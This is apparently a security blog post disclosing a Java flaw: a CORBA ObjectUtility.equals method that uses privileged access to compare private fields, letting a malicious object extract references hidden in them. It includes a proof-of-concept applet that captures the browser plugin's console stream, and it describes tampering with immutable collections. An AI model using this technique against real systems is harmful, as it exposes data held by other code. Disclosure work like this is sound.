-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)
Pause for a moment. Absorb the logic. Do you see a problem?
...
This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.
Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.
PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:
001
002
003 import java.applet.Applet;
004 import java.io.IOException;
005 import java.io.OutputStream;
006 import java.io.PrintStream;
007
008 import com.sun.corba.se.impl.orbutil.ObjectUtility;
009
010 public class StealConsole extends Applet {
011
012 public void start() {
013 PrintStream syso = System.out;
014 PrintStream stealer = new PrintStream(new OutputStream() {
015
016 public void write(int b) throws IOException {
017 }
018
019
020 public boolean equals(Object obj) {
021 System.out.println("Stole: " + obj.getClass());
022 return super.equals(obj);
023 }
024 }, false);
025
026 boolean eq = ObjectUtility.equals(stealer, syso);
027 }
028
029 }
So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.
Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.
Subscribe to:
Comments (Atom)